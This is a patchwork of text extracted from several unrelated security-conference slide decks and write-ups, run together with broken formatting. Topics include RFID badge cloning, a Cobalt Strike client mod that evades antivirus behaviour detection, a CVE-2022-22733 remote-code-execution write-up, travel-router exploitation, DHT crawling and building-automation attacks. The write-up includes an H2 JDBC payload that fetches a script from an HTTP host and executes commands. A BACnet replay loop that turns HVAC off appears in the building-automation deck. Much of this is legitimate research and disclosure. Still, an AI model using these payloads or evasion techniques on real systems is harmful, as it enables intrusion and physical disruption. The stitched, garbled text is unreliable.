I N G R F I D Droppin’ Eaves 30 B A D G E B R O A D C A S T S Cloner 2.0 by Paget 31 E A V E S D R O P P I N G A T T A C K • Chris Paget talked of his tool reaching 10 feet for this type of attack • Tool never actually released, unfortunately • Unaware of any public tools that exist for this attack currently RFID Card Cloning 32 C A R D P R O G R A M M I N G Programmable Cards 33 Simulate data and behavior of any badge type • T55x7 Cards • Q5 cards (T5555) Emulating: HID 26bit card Programmable Cards 34 Cloning to T55x7 Card using Proxmark3 • HID Prox Cloning – example: • Indala Prox Cloning – example: Reader and Controller Attacks 35 D I R E C T A P P R O A C H Reader Attacks 36 J A C K E D I N • Dump private keys, valid badge info, and more in few seconds Reader Attacks 37 G E C K O – M I T M A T T A C K • Insert in door reader of target building – record badge #s • Tastic RFID Thief’s PCB could be used similiarly for MITM attack Controller Attacks 38 J A C K E D I N Shmoocon 2012 - Attacking Proximity Card Systems - Brad Antoniewicz http://www.shmoocon.org/2012/videos/Antoniewicsz-AttackingCardAccess.m4v Backdoors and Other Fun 39 L I T T L E D I F F E R E N C E S Pwn Plug M A I N T A I N I N G A C C E S S 40 Pwn Plug M A I N T A I N I N G A C C E S S • Pwn Plug Elite: $995.00 • Power Pwn: $1,495.00 41 Raspberry Pi 42 M A I N T A I N I N G A C C E S S • Raspberry Pi - credit card sized, single-board computer – cheap $35 Raspberry Pi 43 M A I N T A I N I N G A C C E S S • Raspberry Pi – cheap alternative (~$35) to Pwn Plug/Power Pwn • Pwnie Express – Raspberry Pwn • Rogue Pi – RPi Pentesting Dropbox • Pwn Pi v3.0 Little Extra Touches 44 G O A L O N G W A Y • Fake polo shirts for target company • Get logo from target website • Fargo DTC515 Full Color ID Card ID Badge Printer • ~$500 on Amazon • Badge accessories • HD PenCam - Mini 720p Video Camera • Lock pick gun/set Defenses 45 A V O I D B E I N G P R O B E D RFID Security Resources 46 S L I M P I C K I N S . . . • RFID Security by Syngress • Not updated since July 2005 • NIST SP 800-98 – Securing RFID • Not updated since April 2007 • Hackin9 Magazine – Aug 2011 • RFID Hacking, pretty decent Defenses 47 R E C O M M E N D A T I O N S • Consider implementing a more secure, active RFID system (e.g. “contactless smart cards”) that incorporates encryption, mutual authentication, and message replay protection. • Consider systems that also support 2-factor authentication, using elements such as a PIN pad or biometric inputs. • Consider implementing physical security intrusion and anomaly detection software. HID Global - Best Practices in Access Control White Paper (PDF) https://www.hidglobal.com/node/16181 Defenses 48 R E C O M M E N D A T I O N S • Instruct employees not to wear their badges in prominent view when outside the company premises. • Utilize RFID card shields when the badge is not in use to prevent drive-by card sniffing attacks. • Physically protect the RFID badge readers by using security screws that require special tools to remove the cover and access security components. • Employ the tamper detect mechanisms to prevent badge reader physical tampering. All readers and doors should be monitored by CCTV. Defenses (Broken) 49 S O M E D O N ’ T . . . E X A M P L E . . . USA - Green Card Sleeve • Since May 11, 2010, new Green Cards contain an RFID chip • Tested Carl’s “protective sleeve”, doesn’t block anything. • False sense of security Thank You 50 Bishop Fox – see for more info: http://www.bishopfox.com/resources/tools/rfid-hacking/
pdf
1 IceRiver⾼版本Q.V简单说明 前⾔ ⼀些功能使⽤介绍 Self Inject模式 由于CS 4.6版本之后,官⽅对ts和client端做了代码分离,ts端⼜由java to native技术做了编译,因此后 续版本对ts端的修改,将不再那么容易,所以⽬前所做的⼆开主要集中在client端。IceRiver今后的计划 是:保持CS的稳定性、规避内存和⾏为查杀、添加实⽤性插件、结合其他开源项⽬更⾼效的应⽤于实 战。 这个插件是⾃从4.4版本的IceRiver就已经存在的,在4.7版本实现⽅式有了变动,但对于⽤户侧使⽤⽅法 不变。默认情况下,可以看到beacon的inject配置显示为"default". 这个时候执⾏⼀些后渗透的模块,⽐如screenshot,将会采⽤spawn模式,在beacon侧将会采⽤fork & inject & resume,也就是注⼊傀儡进程执⾏RDI。 前⾔ ⼀些功能使⽤介绍 Self Inject模式 2 由于注⼊傀儡进程的操作太敏感,已经被各⼤杀软加⼊⾏为⿊名单,这⾥为了在不改beacon端代码的前 提下,通过修改client发送到ts端的指令(由spawn改成inject),来实现绕过⾏为查杀。 选择其中⼀条session,右键可以看到IceRiver⼦菜单,点击SelfInject,界⾯上的inject显示由default变 成less。 这个时候再次使⽤screenshot模块,可以看到由spawn模式改成了inject到beacon所在进程的模式。 3 点击DisableSelfInject模式,将会再次回到default。 这时再次使⽤screenshot验证beacon⾏为,可以看到再次回到了默认的spawn模式。 4 SelfInjectFull插件是计划⽀持第三⽅⾃定义native dll、.net assembly注⼊beacon⾃身,⽬前还在实现 和测试验证当中。
pdf
CVE-2022-22733 Apache ShardingSphere ElasticJob-UI RCE author:Y4er 分析 看diff https://github.com/apache/shardingsphere-elasticjob- ui/commit/f3afe51221cd2382e59afc4b9544c6c8a4448a99 getToken函数会将this对象转json返回,而this对象中存储了root的密码 分析调用关系 handleLogin函数处理登录时会进行判断,如果 authenticationResult.isSuccess() 登录成功会返 回getToken() 而handleLogin在 org.apache.shardingsphere.elasticjob.lite.ui.security.AuthenticationFilter#doFilter 使 用,用来判断如果是登录的url则进行处理。 复现 accessToken字段解码就有root的密码了。 拿shell 默认有h2和pgsql Make JDBC Attack Brilliant Again! jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http://127.0.0.1:8000/poc.sql' -- poc.sql内容如下 CREATE ALIAS EXEC AS 'String shellexec(String cmd) throws java.io.IOException {Runtime.getRuntime().exec(cmd);return "123";}';CALL EXEC ('calc.exe') 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
TTBSP Jon R. Kibler Mike Cooper textbook.security@gmail.com Hack the Textbook: The Textbook Security Project Hack the Textbook TTBSP Introduction • The Problem • Fixing It • The Project • How You Can Help! • Demo • Q&A Hack the Textbook TTBSP The Problem • Most security problems are caused by bad code • Bad code is caused by students not being taught how to write good code • Most programming textbooks have no security content • Many programming textbooks actually teach insecure programming practices and/or use vulnerable code in their examples • Instructors have to teach what is in the textbooks • Most programming instructors are not security experts • Instructors are evaluated on how closely they follow the textbooks in a course Hack the Textbook TTBSP Fixing It • Industry View • Students should be taught good software development practices in school • Tired of having to retrain new graduates • Academic View • Not a real issue • Publishers would be pressuring authors to change their textbooks if there was a real need • Students should be learning theory, not application • No resources • Not every instructor is a security expert • Not enough class time to add material to courses Hack the Textbook TTBSP The Project • The Textbook Security Project: TTBSP.ORG HackTheTextbook.org Hack the Textbook TTBSP The Project • Immediate Goals: • Publicly expose security flaws in popular textbooks • Encourage authors to use secure software development practices in their textbooks • Revise existing textbooks • Get it right the first time in new textbooks Hack the Textbook TTBSP The Project • Long Term Objectives • To make secure software development practices the standard way programming is taught • To make security an integral part of every computer science course • To become a resource that textbook authors and classroom instructors can use to stay up-to-date on the latest software security issues Hack the Textbook TTBSP How You Can Help! • Everyone: • Identify textbooks and courses using them • Review textbooks • Edit reviews • Link to site • Link to reviews • Contribute best practices white papers • Help local universities to understand their impact on software security • Publishers: • Contribute books for review • Contribute funding to support the project Hack the Textbook TTBSP How You Can Help! • Users: • Everyone • View all technical content • Semi-Anonymous Submitter • Requires email address for submission verification • Identity never publicly disclosed • Can use the following features: • Submit books for review • Submit courses using books • Comment on reviews Hack the Textbook TTBSP How You Can Help! • Users: • Registered User • Basic Registration Information: • Real name and handle • Basic contact information, including email address • Affiliation: School, company, etc. • Email address verifies registration • Only handle publicly disclosed • Can use the following features: • Submit books for review • Submit courses using books • Comment on reviews Hack the Textbook TTBSP How You Can Help! • Users: • Reviewers • Requires registration: • Basic registration information • Brief bio • Handle or real name is publicly disclosed • Bio is viewable by confirmed authors and publishers whose books you have reviewed • Can use the following features: • All registered user features • Review textbooks • Contribute white papers Hack the Textbook TTBSP How You Can Help! • Users: • Editors • Requires registration: • Basic registration information • Brief bio • Demonstrated technical editing experience • Invisible to everyone except reviewers and staff • Can use the following features: • All reviewer features • Edit site content (coordinated with content providers) Hack the Textbook TTBSP How You Can Help! • Users: • Author / Publisher: • Requires registration: • Basic registration information • Requires direct contact information • Invisible to everyone except reviewers and staff • Can use the following features: • All registered user features • View bios of reviewers of your textbooks • Request reviewers contact them Hack the Textbook TTBSP How You Can Help! • Notes on workflow: • Most content will not be made public until reviewed and approved. • Exceptions: • Book submissions • Course submissions • Users not logged in will be required to provide an email address to which a confirmation link will be sent. Link must be clicked on before content is made public. • Editors may contact reviewers and request possible changes to make reviews clearer, etc. • Authors and publishers may request that you contact them regarding your reviews. Hack the Textbook TTBSP How You Can Help! Please keep it professional!! Stick to the facts!! Hack the Textbook TTBSP DEMONSTRATION http://www.zdnetasia.com/news/internet/0,39044908,39378888,00.htm Hack the Textbook TTBSP Summary • The key to fixing our security problems is to fix our code problems • The key to fixing our code problems is to teach programmers to write good code • The key to teaching programmers to write good code is to use textbooks that teach secure software development practices • We need your help to make this happen! Hack the Textbook TTBSP One final request... Please do not pwn us! Hack the Textbook TTBSP Questions? Hack the Textbook TTBSP Thank You! Jon R. Kibler Mike Cooper textbook.security@gmail.com http://www.ttbsp.org/ http://www.hackthetextbook.org/ Special Thanks To: Victor Palma John W. Stamey
pdf
Scott Wolchok “Spying the World from Your Laptop” @ LEET Crawl Pirate Bay, scrape trackers Tracked downloads for millions of IPs TPB added magnet links last year No more .torrent files; get data from DHT “no central tracker that can be down” “don’t need to rely on a single server” http://thepiratebay.org/blog/175 DHT crawling presents challenges and opportunities for torrent downloaders Uses for crawling: *AA can track users & torrents Pirates can build search engines overnight! What’s a BitTorrent DHT? List of trackers (servers) in the .torrent file Torrent client sends “announce” to tracker Tracker notes you’re there & sends back peers Example: tracker.openbittorrent.com Trackers tend to go down (read: get sued) Want something more reliable Solution: distributed hash tables (DHTs) P2P network that stores key-value pairs DHT DHT[“One”] = 1 GET DHT[“Two”] 2 Peers & data have 160-bit IDs Peer ID: “random” Data ID: SHA-1 hash Peers store data with similar IDs PING STORE(key, value) FIND_NODE(id) – returns k closest peers (apply repeatedly) FIND_VALUE(key) – like FIND_NODE, but returns value if known Replace the tracker with a DHT DHT GET DHT[0x12AB…] [127.0.0.1:31337, 10.0.0.1:80] DHT[0x12AB…].add(1.2.3.4:6881) magnet:?xt=urn:btih:cfa86e0e8f3831c24120b7f ee7413b4da31ee748&dn=Linux+Mint+9.0+x8 Link straight to files, no .torrent (btih=infohash) Find peers from DHT, fetch .torrent from them Why? Legal shenanigans… Two DHTs; 1 for Vuze, 1 for everyone else Only cover Vuze in this talk to keep it simple Should be possible to crawl Mainline as well Reimplemented the Vuze protocol in C Sybil attack: simulate 1000+ clients at once Just sit and wait for values to come in Cheaply captures 90%-99% of the DHT “Defeating Vanish with Low-Cost Sybil Attacks Against Large DHTs” Crawl: download torrent data from DHT (filenames, sizes, peers) Index and search: import into PostgreSQL, use its keyword search against filenames Rank results by popularity – we’ve got lists of downloaders, so count them! Problem: DHT has (SHA-1(infohash), peers) but we want the infohash! Solution: torrent descriptions Leaked into the DHT by Vuze client d1:d35:Fast & Furious[2009]DvDrip[Eng]- FXG1:h20:\xaf\x19x.a\xf2\xab\xc9;(Ib\xac\x0c\ x1a\xa8\xc8\x0b\x1dO1:ri646e1:si733484531ee One pass over logs Import into PostgreSQL CREATE INDEX idx_name_gin_newON torrent_descs_new USING gin(to_tsvector(\'english\', name)) Just a big SQL query & simple Web page SELECT * FROM ( SELECT DISTINCT ON (hash) name, hash, size, seeders, leechers, ts_rank_cd(to_tsvector('english', name), query, 0) AS rank, COALESCE(seeders, 0) + COALESCE(leechers, 0) as myrank FROM torrent_descs, plainto_tsquery('english', %s) AS query WHERE to_tsvector('english', name) @@ query AND hash is not NULL AND COALESCE(seeders, 1) <> 0) AS results ORDER BY results.myrank DESC NULLS LAST LIMIT 100 Same crawl, just repeat it over time Import makes 2 tables: peers and torrents To map IPs <-> content, join on infohash! SELECT … FROM peer_lists P, torrent_descriptions D WHERE SHA-1(D.infohash) == P.dhtkey … 16 days of crawling, 3 crawls per day Crawl: 8000 nodes over 2 hours Should see ~20% of DHT Average crawl indexed 1 million torrents The Pirate Bay: 2.8 million torrents Crawl: 81 minutes Import crawl results: 13 minutes Indexing: 6 minutes Total: 100 minutes Can go faster with more bandwidth Trade off time vs. coverage Torrent popularity rank 15.1 million peer lists 3.6 million torrent descriptions 1.5 million torrents w/both peers and descriptions, mapped to 7.9 million IPs Content Downloads The Pacific, Part 9 (TV) 47,612 Iron Man (movie) 46,549 Alice in Wonderland (movie) 44,922 Lost, Ep. 16 (TV) 42,571 Dear John (movie) 42,562 The Back-Up Plan (movie) 39,568 Lost, Ep. 13 (TV) 34,979 Inspected manually, none obviously not copyright-infringing …except a subscription to a search for “XXX” on BtJunkie. If everyone really is “just downloading Linux ISOs,” they’re not using Vuze to do it. Air date: May 18 Friday! User #1: all porn User #2: also Iron Man, The Back-up Plan, Michael Jackson’s Greatest Hits, Iron Man 2… Even caught myself unintentionally seeding a free movie trailer DHT crawling can create search engines & monitor 8 million users Suing torrent sites is a distraction; we can rebuild them fast DHTs won’t help users hide The future: DHT poisoning, more user lawsuits? http://wiki.vuze.com/w/DHT http://www.cse.umich.edu/~jhalderm/pub/pape rs/unvanish-ndss10-web.pdf http://scott.wolchok.org/dc18/dht/
pdf
Hacking travel routers like it’s 1999 Mikhail Sosonkin Director of R&D Always a Student @hexlogic mikhail@synack.com http://debugtrap.com Why do this? Breaking in. Show me the bugs! The End. We all just hack for fun… right? I travel a lot I work in cafes I do security things Why do this? The unboxing We want bugs! The End Peeking a few extra bytes... HTTP/1.1 200 OK Server: vshttpd Cache-Control: no-cache Pragma: no-cache Expires: 0 Content-length: 8338 Content-type: text/html Set-cookie: SESSID=eXXzgZIWg4jnnXGidAVQpRB6joaM7D7lr3IGWtz7oRuJE; Date: Sat, 24 Jun 2017 19:38:27 GMT two days* with john the ripper All this root, and no where to use it * on a reasonably priced EC2 instance If I could just... ● The firmware update mechanism does not require a signed package.{ ● Expanded, the update package is just a shellscript "sed '1,3d' %s|cksum|cut -d' ' -f1" ● Custom CGI server: ○ https://sourceforge.net/projects/vshttpd/ maybe? It’s an empty project ● Handles all *.csp REST Calls ○ ● Checks Firmware update ● The firmware update mechanism does not require a signed package.{ ● Expanded, the update package is just a shellscript More details: http://debugtrap.com/2017/03/19/travel-safe/ … I is C++ Buffers before function pointers Dynamic function calls Dynamic initialization/ allocation Variables before function pointers Lots of function pointers… everywhere! Allocated structure Get function pointer Store the function pointer Repeat for another function Oops… error leak! More details: http://debugtrap.com/2017/04/10/embedded-webserver/ Why do this? The unboxing We want bugs! The End Cybergold! ● Present ○ Partial Virtual Space randomization ○ Binary and heap are fixed ○ Libraries and stack are randomized ● Not present ○ Stack canaries ○ Full ASLR ○ Heap protections ○ Heap/Stack NX ○ Control flow integrity " + " More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/ Return address on the stack Stack pointer! Restrictions with sprintf(“<%s>) : ● No nulls ● output buffer follows “<%s>” format Return to Static Null In Address Use Format Values Executable Main binary Heap Library Stack More details: debugtrap.com/2017/05/09/tm06-vulnerabilities/ 1. Cookie value stored on the heap using strcpy call 2. Using knowledge from reverse engineering a. there a function pointer on the heap, following the buffer 3. Changed the function pointer value to point into the HTTP body for arbitrary code execution 4. Pointer overwrite and gaining of execution are a few functions removed from each other Lots of top site still don’t use SSL: Google transparency report Demo! Demo! Via the browser XSRF From within the enclave From the external WiFi Trojan.AndroidOS.Switcher snprintf($sp+0x128, 256, “<%s>”, fname); Stack canaries strncpy(dst, src, 1024); Crypted heap function pointers Why do this? The unboxing We want bugs! The End That was fun... ● Gain an attack proxy for attribution obfuscation ● Steal user information such as authentication tokens ● Manipulate user activity… iframes! ● Foothold into enterprise or private networks Super polite Entire product team off for the spring festival (Chinese New Year) Received a personal update before it was made generally available. We have transmit your email and issue to our product team. But we feel sorry that we would inform you until 2/8 because product team has day off due for Spring Festival. Vendors do respond! Install OpenWRT on the device Lots of interesting attack vectors People still use and - like they did in 1999! “Don’t roll your own crypto” => “Don’t roll your own CGI webserver” Email: mikhail@synack.com blog: debugtrap.com Twitter: @hexlogic č ū Спасибо ...Catch me in the halls or online! Mikhail Sosonkin
pdf
Making Games Cerebral Ne0nRa1n Julian Spillane, CEO, Frozen North Productions, Inc. Breakdown Who are these brain people? Brain 101 Video Game Myths History of  Game Peripherals Industry Current Trends (The Good and The Bad) Our Proposal... Demonstration Who are these brain people? Ne0nRa1n Under‐Educated Under‐Qualified Visionary dancing monkey extraordinaire Julian Spillane CEO, Frozen North Productions, Inc. Chair, Toronto Independent Games Conference Obsessed with strange and innovative peripherals and  interfacing them with games... Or, “The Stuff You’ve Forgotten from Psych Class” What is the brain? 1 second summary: Organic Cellular Goodness http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html What, exactly, does it do? 1 second summary: Encoding, Storage, Retrieval http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html How do memories work? 1 second summary: Neurons That Fire Together, Wire Together http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html How do we think? 1 second summary: Pattern‐Matching Puzzle Pieces http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html What About Dreams? 1 second summary: I’ll Tell You What They Are, But Don’t Ask Me  Why We Have Them http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html What about consciousness? 1 second summary: The Questionable Question http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html How is my Brain Different From  a Monkey? 1 second summary: Bigger and Better http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human-brain.html Why Do Drugs Feel So Good? 1 second summary: The Doppelgangers of Desire http://www.newscientist.com/channel/being-human/brain/dn9970-faq-the-human- brain html How Does This Relate To  Games? 1 second summary: Repetition of Task = Mastery of Task Or, “Jack Thompson’s Wet Dream” Myth #1 Kids have become more violent since videogames  have become commonplace in the home. Reality Youth crime remains at, or near, a 30‐year low. http://www.about.chapinhall.org/press/newsalerts/2006/CrimeRate06.html Myth #2 Playing violent videogames makes you more  aggressive. Reality No research has found that video games are a primary  factor or that violent video game play could turn an  otherwise normal person into a killer. http://www.pbs.org/kcts/videogamerevolution/impact/myths.html Myth #3 The main market for videogames is children. Reality The average age of most frequent game buyers is 40  years old. In 2006, 93 percent of computer game  buyers and 83 percent of console game buyers were  over the age of 18. http://www.theesa.com/facts/top_10_facts.php Myth #4 Girls just don’t like videogames. Reality Thirty‐eight percent of gamers are women and  women aged 18 or older represent a significantly  greater  portion of the game playing population  (30%) than boys aged 17 or under (23%). http://www.theesa.com/facts/gamer_data.php Myth #5 The military uses video games to train soldiers to kill,  therefore video games do the same thing to children. Reality Research points to a fundamentally different model  of how and what players learn from games. http://www.pbs.org/kcts/videogamerevolution/impact/myths.html Myth #6 Playing video games makes you a loner. Reality Studies in the US show that 60% of frequent gamers  play with friends. http://www.theage.com.au/articles/2004/01/22/1074732535783.html Myth #7 Playing video games makes you less sensitive to  violence. Reality There has been no evidence to suggest that games  have a more desensitizing effect than other forms of  media. Or, “Knobs, Joysticks, and Wiis” History of Peripherals 1980s – early 90s  Video game peripherals were innovative! Unique designs allowed for new styles of gameplay Focused on different skill‐sets and each required mastery Mid 90s – early 21st century As industry began to grow new technology dwindled Redesign of input meant greater risk Publishers wanted devices that were “market safe” and  focused on profit above all else History of Peripherals 2004 ‐ present New rise in innovative input devices Inspired by gamers who have gotten tired of the traditional  gaming model Devices take advantage of the body and motion Ex. Nintendo Wii Remote, Donkey Kong Bongo drums,  Samba De Amigo marracas, EyeToy camera, Sony Sixaxis  controller, dance pads Resurgence in older technology Ex. Lightguns, microphones, touch‐screens History of Peripherals 1972 Atari Inc. launches PONG to unsuspecting masses Popularizes so‐called “Paddle” controllers Device usually consisted  of a potentiometer and  a few buttons Very first analog input  device, paving the way  for many more to come History of Peripherals 1977 Atari Inc. releases the Atari VCS (Video Computer  System) Brought the arcade joystick to home consumers First major home video game console to make use of joysticks  Bundled controllers were  4‐directional digital one‐button joysticks History of Peripherals 1977 (cont'd.) Many knockoffs of the Atari joystick were produced,  compatible with the system One, had foot operated switches QJ Footpedal System had three foot‐operated switches and a  set of configuration switches History of Peripherals 1982 General Consumer Electric launches the Vectrex  Introduces to the world the first analog joystick, a 3D‐ visualization peripheral (the “3D Imager”), and made  innovative use of the lightpen History of Peripherals 1983 Nintendo Corporation unveils the Nintendo Family  Computer Introduces first peripheral to include active components in  the joypad, as well as the eponymous “d‐pad” Joypads used an 8‐bit CMOS shift register to tell the console  what button was being pressed without requiring a direct  wire for each button History of Peripherals 1984‐1989 Nintendo Corporation launches more peripherals... Nintendo Zapper allowed gamers to “fire” at their games,  realistically Nintendo Satellite allowed gamers to use their controllers  wirelessly in the same room The Robot Operating Buddy (R.O.B.) made use of optical  flashes from the TV and had arms that could move left, right,  up and down along with hands that pinched together; worked  with two games: Gyromite and Stack‐Up The NES Advantage offered home gamers the power of the  arcade controller, along with variable‐speed turbo and a type  of slow motion History of Peripherals 1984‐1989 (cont'd) Nintendo Corporation launches more peripherals... The Power Pad was the first floor mat peripheral, containing  12 pressure sensitive sensors (originally developed for World  Class Track Meet, but a few other games made use of it as  well) The Power Glove (released by Mattel in the US) was the first  peripheral to “recreate human hand movements on a  television or computer screen” [1] History of Peripherals 1984‐1989 (cont'd) History of Peripherals 1989 ‐ 94 SEGA launches the SEGA Genesis / MegaDrive Refines Nintendo's “D‐Pad” concept and adds three digital  buttons for gameplay, and a fourth “start” button Next generation controller has unique “six‐button” layout A wide‐variety of peripherals released (see:  http://www.vidgame.net/SEGA/peripherals.htm and  http://www.sega‐ 16.com/Genesis%20Accessory%20&%20Peripheral%20Guide %202.php History of Peripherals 1990 Nintendo launches the Super NES First controller to make use of shoulder buttons Balanced “diamond” button configuration introduced that is  still in use today History of Peripherals 1994 SEGA launches the Sega Saturn Unveils with modified Sega Genesis 6‐button controller and  the Saturn 3D controller which featured an analog stick (the  first controller on the market post‐Jaguar to feature analog  controls) History of Peripherals 1994 Sony launches the Sony Playstation Initially launches with the original Playstation controller  reusing the “diamond” formation of the SNES and introducing  two more shoulder pads Followed up by the Dual Shock controller which introduced  two analog sticks as well as rumble functionality Sony is also the first to include a memory card for save game  storage History of Peripherals 1996 Nintendo launches the Nintendo 64 Redesigned three‐pronged controller for ergonomic feel Console also saw prominent use of a rumble feature as well as  a lock‐on technology to other games (mainly Pokémon) First use of a microphone in console games History of Peripherals 2006 Sony launches the Playstation 3 Simple redesign of the Dual Shock 2 controller Vibration removed due to patent violation SIXAXIS controller has sensors for yaw, pitch, roll, and  translational movement History of Peripherals 2006 Nintendo launches the Wii Complete revolution in controller design Translational, rotational, and positional sensors make for  completely new gaming experience Controller expansion port allows for limitless expansion  peripheral development History of Peripherals 2007 Emotiv Systems announces their mind control headset  peripheral Project Epoc Game controller making use of EEG (electroencephalography)  as input stimuli Expanding the way we think about gaming and the impact  that games have on the human brain History of Peripherals 2008 and onwards? Where will we go from here? More and more biofeedback games, both released officially  and hacked together, are being put out to the public People want more engaging ways to interact with their games Maybe some peripherals that can help improve you as well? Or, “Get Your WoW Fix, you Junkie!” Current Trends – The “Good” Resurgence in Innovation Wii redefining the social gaming dynamic For the first time parents, grandparents, aunts and uncles are  sitting down with their kids and playing games Massively Multiplayer Online Games changing the face  of economy and the business world There are people who live off of SecondLife! World of Warcraft has become the new golf... Xbox Live has enabled quick downloads of games Brought back the Shareware / Demo era of gaming... Spore? Current Trends – The “Good” Resurgence in Innovation (cont'd) Nintendo wants to make you think better! Brain Age and similar franchises are a big hit on the market  right now and are helping to prove that games can help  improve your mind Sony unveiled first customizable platformer LittleBigPlanet will revolutionize the way we think of game  content Current Trends – The “Good” Getting people active! The Wii Diet People who keep up a healthy diet and play Wii Sports for  over 30 minutes a day have been shown to lose weight (in  most cases) This might be one step towards solving our obesity  epidemic... Dance Dance Revolution Took North America by storm and hasn't let up Weight‐loss programs exist tailored to use DDR as a source of  cardiovascular exercise Current Trends – The “Bad” Addiction World of War...crack? Crackdowns on internet cafes People playing WoW without eating, sleeping, etc. Suicides resulting from deaths of characters and in‐game  hardships Death due to personal negligence Students failing out of college Promotes social “reclusism”? Current Trends – The “Bad” Personal Stagnation A healthy balance... People who play games need to find a healthy balance Find ways to promote both physical and mental activity  through gaming Speculation that modern‐day gaming is contributing to the  obesity epidemic is a half‐truth, but there's still merit to the  argument Need to fight the perception that games are “mindless” by  making gamers think Awareness Need to make gamers aware of their body and their potential Or, “Adding Biofeedback to Games To Train Your Brain and  Body” What Can Games Do For Us? With the right video game you can: Boost visual skills Lose weight Control ADD Boost language skills Ease pain Improve skills in literacy and numeracy Develop skills in visualization, experimentation,  creativity, manual dexterity, strategic and tactical  decision‐making Help the brain age slower Sharpen vision Control stress and tension How Do We Achieve Such  Wonders? Body and brain stimulus! Using biofeedback to provide important information  about your vitals Heart‐rate to monitor physical stress and tension Galvanic skin response to cover psychological stress and  emotion Electroencephalography (EEG) to monitor brain waves Accelerometer to measure bodily motion Thermometer to measure body temperature Etc. What Do We Propose? Use biofeedback response to learn to control your  body and brain ADD can be managed by training the brain to focus Similarly, stress disorders can be managed by forcing the  user to calm down before the game will continue, or get  harder under duress Pavlovian training methodologies for bodily control More globally, make use of video games to not only  entertain but to enhance your life Plus, it’ll make for some kick‐ass online play... What Have We Done? BioBlox! A biofeedback version of everyone’s favourite falling  block game Two versions: one measures physical stress by  monitoring player’s heart rate Game gets harder the greater the heart‐rate Another measures emotional state through galvanic skin  response Just like Scientologists but without the creepy Game gets harder as players approach an intense emotional  state What Have We Done? Updated source available at: http://www.frozennorth.net/DefCon15/BioBlox.zip Coded in C# (I know, I know) Rapid prototyping, quick interface to USB peripheral  using “unsafe‐mode” memory access and the HID stack A special thank you goes to Andrew Brandt for his donation of the Wild Divine game to this project and without whom this speech wouldn't of been possible. Or, “Get Your Ass Up On Stage And Play Our Game” Julian Spillane: jspillane@frozennorth.net Desirae Gillis: butterbee@gmail.com Any questions?
pdf
Sneak into buildings with KNXnet/IP using BOF whoami Claire Vacherot Senior pentester @ Orange Cyberdefense France Random info: ►Writing tools (and then discover they already exist) ►Part of GreHack’s organization team ►Penetration testing on "unusual" environments 2 PROGRAMMING SECURE PROGRAMMING … ON EMBEDDED/ICS DEVICES EMBEDDED/ICS DEVICE SECURITY ICS SECURITY Best conference (after Defcon) Disclaimer Please be careful  Testing industrial systems is dangerous ►Control of physical processes Impact on people’s safety ►Accidents ►Disabling safety controls Test in controlled environments 3 BMS KNX BOF BMS Building Management/Automation System ►Components automation & control ►Home, buildings, factories, hospitals, offices, … 5 ►HVAC ►Lighting ►Shutters ►Elevators ►Access control ►Intrusion detection ►Safety and security BMS 6 * "Hackers“ (1995) has a BMS hacking scene « The pool on the roof has a leak. » 7 The « field » network 8 Actuator Sensor Controller Field bus The « IP » network 9 IP server IP gateway IP interface Operator Maintainer Anyone else Remote control! Why should we take a look? Exposing « industrial » protocols and devices ►Legacy software and protocols ►Not designed to handle cybersecurity issues ►Not operated with cybersecurity in mind 10 The « interface » device 11 …but reachable from the LAN Usually in electric cabinets… Let’s scan it! 12 ►21/tcp ftp ►22/tcp ssh ►23/tcp telnet ►80/tcp http ►443/tcp https ►3671/udp knxnet ►47808/udp bacnet BMS link Admin Why should we take a look? 13 Regular IP services BMS protocol service BMS security wrap up 14 Me Unknown protocol = new attack surface Entry point Target BMS security wrap up What can we do with that? #1 Send valid stuff #2 Send invalid stuff 15 Attack scenario #1 Change BMS behavior ►Enable sprinklers ►Disable fire detection ►Change thresholds ►Turn everything off ►… 16 Me Legitimate command Attack scenario #1 Change BMS behavior Example ►Listen to the traffic ►Replaying BACnet frames ►Turning off that HVAC 17 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # UDP s.connect(("192.168.1.1", 47808)) try: while 1: s.send(payload_ventilation_off) sleep(1) # (Different kind of) DoS if we don’t wait except KeyboardInterrupt: pass s.close() I have no idea what they mean Attack scenario #2 Unintended use of devices ►??? 18 Me ? Something malicious ? ? ? ? Attack scenario #2 Unintended use of devices 19 Flat network IT OT Network intrusion from the Internet Attack scenario #2 Unintended use of devices 20 BMS LAN IT OT OT LAN IT LAN Pivoting from local network Reaching segregated area What we know so far Introduction to BMS security ►InSecurity in Building Automation Thomas Brandstetter @ Defcon 25 (2017) KNX security or how to steal a skyscraper - Yegor Litvinov (2015) Pwning KNX & ZigBee Networks - HuiYu Wu, YuXiang Li & Yong Yang (2018) BMS exploitation talks (discovery) – Attack Scenario #1 ►Learn How to Control Every Room at a Luxury Hotel Remotely Jesus Molina @ Defcon 22 (2014) 21 You should watch it! What we know so far Advanced attacks / fuzzing – Attack scenario #2 ►HVACking Understand the Delta Between Security and Reality Douglas McKee & Mark Bereza @ Defcon 27 Attack remediation, detection ►Anomaly Detection in BACnet/IP managed Building Automation Systems Matthew Peacock, 2019 22 Cool stuff on fuzzing BACnet What we know so far … where is KNX?  23 BMS KNX BOF And now… KNX! 25 SEVERAL EUROPEAN STANDARDS (1980s) 3 STANDARDS MERGED INTO KNX (1999) KNXNET/IP (2007) 1ST SECURITY EXTENSION (2013) KNX STANDARD FREE (2016) And now… KNX! ►Hard to find / use documentation ►Few research & work about KNX security That does not mean there is nothing to say about it  26 And now… KNX! 27 Checked 2021-07-01 KNXnet/IP port « A minor concern » « For KNX, security is a minor concern, as any breach of security requires local access to the network » ►Authentication as an option Disabled by default (when implemented) ►Security extensions KNX IP Secure, KNX Data Secure Security is optional! 28 Tribute to Molina « A minor concern » ”It is quite unlikely that legitimate users of a network would have the means to intercept, decipher, and then tamper with the KNXnet/IP without excessive study of the KNX Specifications.” - KNX Standard v2.1 29 « A minor concern » ”It is quite unlikely that legitimate users of a network would have the means to intercept, decipher, and then 